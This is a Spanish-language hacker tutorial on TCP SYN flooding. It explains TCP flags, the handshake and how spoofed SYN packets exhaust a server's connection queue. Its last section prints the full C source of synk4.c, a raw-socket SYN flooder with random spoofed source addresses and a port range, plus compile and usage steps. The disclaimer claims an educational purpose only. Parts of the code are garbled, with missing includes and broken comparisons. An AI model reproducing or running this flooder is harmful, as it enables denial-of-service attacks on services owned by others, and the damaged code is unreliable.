Asi nos lo cuentan y así es como se efectua
TITULO TCP SYN Flooding
AUTOR Anghel
MAIL anghel@linuxpower.zzn.com
WEB warp9.to/anghel => personales.ciudad.com.ar/anghel_site
1 Disclaimer
2 Conexiones TCP
3 TCP SYN Flooding
4 Tirando nuestros servidores
1 Disclaimer
La informacion que contiene el presente documento esta escrita con el fin
de que el lector tenga la posibilidad de aprender como funciona el ataque
TCP SYN Flooding, y de esta forma poder disminuir la mediocridad
informatica en la sociedad.
En ningun momento el autor del presente documento se hace responsable de
los daños causados con la informacion aqui expuesta. Antes de empezar a
leer, el lector tiene que ser lo suficientemente consciente de que lo
aqui expuesto es solo para fines educativos y comprensivos, y que lo haga
despues de la lectura, es su responsabilidad.
2 Conexiones TCP
Cuando un host A le manda datos a un host B, le esta mandando un “paquete
TCP”. Dicho paquete, contiene los siguientes datos:
- puerto origen
- puerto destino
- IP origen
- IP destino
Ademas, dicho paquete contiene “flags”, que determinan el tipo de paquete
que se esta mandando. Los distintos flags son los siguientes:
- SYN – Este flag indica que se esta pidiendo una conexion
- ACK – Con este flag se responde cuando un paquete llega bien
- PSH – Este flag se usa para pasar datos a la aplicacion. Por ejemplo,
este flag tiene que estar activado en conexiones TELNET o RSH
- RST – Corta la conexion de manera brusca
- URG – Determina que un paquete es urgente
- FIN – Pide el cierre de la conexion
Por otra parte, el paquete contiene numeros de secuencia que identifican
a cada paquete mandado, pero eso no es importante ahora.
Ahora bien, una vez explicados los “flags” de un paquete TCP, vamos a ver
como se establece una conexion entre dos hosts.
Ya que TCP es un protocolo orientado a la conexion, es necesario que
antes de empezar a intercambiar datos, se realice un saludo entre ambas
maquinas. El saludo se realiza de la siguiente manera, en el ejemplo, A
es el cliente y B es el servidor:
1. A --SYN--> B
2. A
3. A --ACK--> B
1. A le pide a B la peticion de la conexion mediante la activacion del
“flag“ SYN.
2. B acepta la peticion de A.
3. A le responde a B diciendole que su respuesta llego bien.
De ahi en mas, ya se pueden empezar a mandar datos mediante el “flag”
PSH.
3 TCP SYN Flooding
El TCP SYN Flooding es un ataque de tipo DoS (Denial of Service,
Denegacion de Servicio).
No se aprovecha de un bug en un software ni en el kernel, sino que toma
provecho de la mala implementacion del protocolo TCP.
El objetivo de dicho ataque es dejar sin funcionamiento al demonio que
corra en un determinado puerto; en definitiva, tumbar a un puerto y
privarlo de recibir conexiones de sus clientes.
El ataque funciona de la siguiente manera:
Hay que mandarle a un host destino, una serie de paquetes TCP con el bit
SYN activado, (es decir, una serie de peticiones de conexion) desde una
direccion IP spoofeada, la cual tiene que ser inexistente.
Como la direccion origen es inexistente, el host destino no puede
completar el saludo con el host cliente, y ahi es donde entra el fallo:
ICMP reporta que el cliente es inexistente, pero TCP ignora el mensaje y
sigue intentando terminar el saludo con el cliente de forma continua, y
como la cantidad de peticiones que se le hace al objetivo es demasiada,
el demonio que corre en dicho puerto queda tumbado.
El esquema seria el siguiente:
A(C) –-SYN--> B
A(C) –-SYN--> B
A(C) –-SYN--> B
...
C
C
C
...
C
Es obligatorio que la IP origen sea inexistente, ya que sino el host
objetivo (B), le va a responder a la IP que supuestamente spoofeamos (que
en este caso existe) con un SYN/ACK, y como esa IP no pidio ninguna
conexion, le va a responder al host objetivo (B) con un RST, y el ataque
no tiene efecto.
Si la IP origen existe, el esquema seria el siguiente:
A(C) --SYN--> B
C
C –-RST—-> B
4 Tirando nuestros servidores
Despues de toda la teoria anterior, mas de uno va a querer poner en
practica todo lo aprendido, y aunque haya antendido todo lo anterior, tal
vez se pregunte: esta bien, pero, ¿con que programa puedo hacer practicar
el TCP SYN Flooding?.
Aca expongo el codigo fuente del programa synk4.c para que practiquen el
TCP SYN Flood. La idea es que hagan pruebas con su localhost, y que no
molesten a ningun administrador con un flood su servidor ftp.
Para usar el programa:
1. Compilar el programa:
cc synk4.c –o synk4
2. Usarlo de la siguiente manera:
./synk4
Si en se pone 0, el programa va a usar IP aleatorias.
En se tendria que poner 127.0.0.1.
En y hay que poner desde que puerto hasta
que puerto se quiere atacar. Si se quiere atacar a un solo puerto, hay
que poner el mismo valor en los dos campos.
Ejemplo: ./synk4 0 127.0.0.1 23 23
Una vez que se ejecuta el programa, se va a empezar a moverse un contador
que va a representar el numero de conexiones que se le estan haciendo al
host destino.
Mas o menos cuando llegue a 5000 conexiones (5000 es suficiente), hay que
cortarlo con un ctrl + c.
Una vez parado el programa, es preferible conectarse a nuestro servidor
telnet:
[root@localhost temp]# telnet localhost 23
Trying 127.0.0.1...
Si sale algo como lo anterior, y se queda parado ahi, quiere decir que
nuestro servidor telnet ya esta tumbado.
/* - */
#include
#include
#include
#include
#include
#include
#include
#include
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;
/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
printf("_[H_[JSignal Caught. Exiting Cleanly.\n");
exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n");
exit(crap);
#endif
}
unsigned long getaddr(char *name) {
struct hostent *hep;
hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}
void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data,
int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;
struct sockaddr_in sin; /* how necessary is this, given that the
destination
address is already in the ip header? */
ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);
sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;
if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin,
sizeof(sin))printf("Error sending syn packet.\n"); perror("");
exit(1);
}
}
unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip,
unsigned short port) {
int i, s;
struct iphdr ih;
struct tcphdr th;
struct sockaddr_in sin;
int sinsize;
unsigned short myport=6969;
char buf[1024];
struct timeval tv;
ih.version=4;
ih.ihl=5;
ih.tos=0; /* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(random());
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;
th.source=htons(srcport);
th.dest=htons(port);
th.seq=htonl(SEQ);
th.doff=sizeof(th)/4;
th.ack_seq=0;
th.res1=0;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(65535);
th.check=0;
th.urg_ptr=0;
gettimeofday(&tv, 0);
send_tcp_segment(&ih, &th, "", 0);
/* send_seq = SEQ+1+strlen(buf); */
}
void upsc()
{
int i;
char schar;
switch(cnt)
{
case 0:
{
schar = '|';
break;
}
case 1:
{
schar = '/';
break;
}
case 2:
{
schar = '-';
break;
}
case 3:
{
schar = '\\';
break;
}
case 4:
{
schar = '|';
cnt = 0;
break;
}
}
printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc);
cnt++;
for(i=0; ii++;
curc++;
}
}
void init_signals()
{
// Every Signal known to man. If one gives you an error, comment it
out!
signal(SIGHUP, sig_exit);
signal(SIGINT, sig_exit);
signal(SIGQUIT, sig_exit);
signal(SIGILL, sig_exit);
signal(SIGTRAP, sig_exit);
signal(SIGIOT, sig_exit);
signal(SIGBUS, sig_exit);
signal(SIGFPE, sig_exit);
signal(SIGKILL, sig_exit);
signal(SIGUSR1, sig_exit);
signal(SIGSEGV, sig_segv);
signal(SIGUSR2, sig_exit);
signal(SIGPIPE, sig_exit);
signal(SIGALRM, sig_exit);
signal(SIGTERM, sig_exit);
signal(SIGCHLD, sig_exit);
signal(SIGCONT, sig_exit);
signal(SIGSTOP, sig_exit);
signal(SIGTSTP, sig_exit);
signal(SIGTTIN, sig_exit);
signal(SIGTTOU, sig_exit);
signal(SIGURG, sig_exit);
signal(SIGXCPU, sig_exit);
signal(SIGXFSZ, sig_exit);
signal(SIGVTALRM, sig_exit);
signal(SIGPROF, sig_exit);
signal(SIGWINCH, sig_exit);
signal(SIGIO, sig_exit);
signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
int i, x, max, floodloop, diff, urip, a, b, c, d;
unsigned long them, me_fake;
unsigned lowport, highport;
char buf[1024], *junk;
init_signals();
#ifdef HIDDEN
for (i = argc-1; i >= 0; i--)
/* Some people like bzero...i prefer memset :) */
memset(argv[i], 0, strlen(argv[i]));
strcpy(argv[0], HIDDEN);
#endif
if(argcprintf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
printf(" If srcaddr is 0, random addresses will be used\n\n\n");
exit(1);
}
if( atoi(argv[1]) == 0 )
urip = 1;
else
me_fake=getaddr(argv[1]);
them=getaddr(argv[2]);
lowport=atoi(argv[3]);
highport=atoi(argv[4]);
srandom(time(0));
ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(ssockperror("socket (raw)");
exit(1);
}
sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sockperror("socket");
exit(1);
}
junk = (char *)malloc(1024);
max = 1500;
i = 1;
diff = (highport - lowport);
if (diff > -1)
{
printf("_[H_[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991
The Regents of the University\n of California. All Rights Reserved.");
for (i=1;i>0;i++)
{
srandom((time(0)+i));
srcport = getrandom(1, max)+1000;
for (x=lowport;x{
if ( urip == 1 )
{
a = getrandom(0, 255);
b = getrandom(0, 255);
c = getrandom(0, 255);
d = getrandom(0, 255);
sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
me_fake = getaddr(junk);
}
spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
/* A fair delay. Good for a 28.8 connection */
usleep(300);
if (!(floodloop = (floodloop+1)%(diff+1))) {
upsc(); fflush(stdout);
}
}
}
}
else {
printf("High port must be greater than Low port.\n");
exit(1);
}
}
/* - */
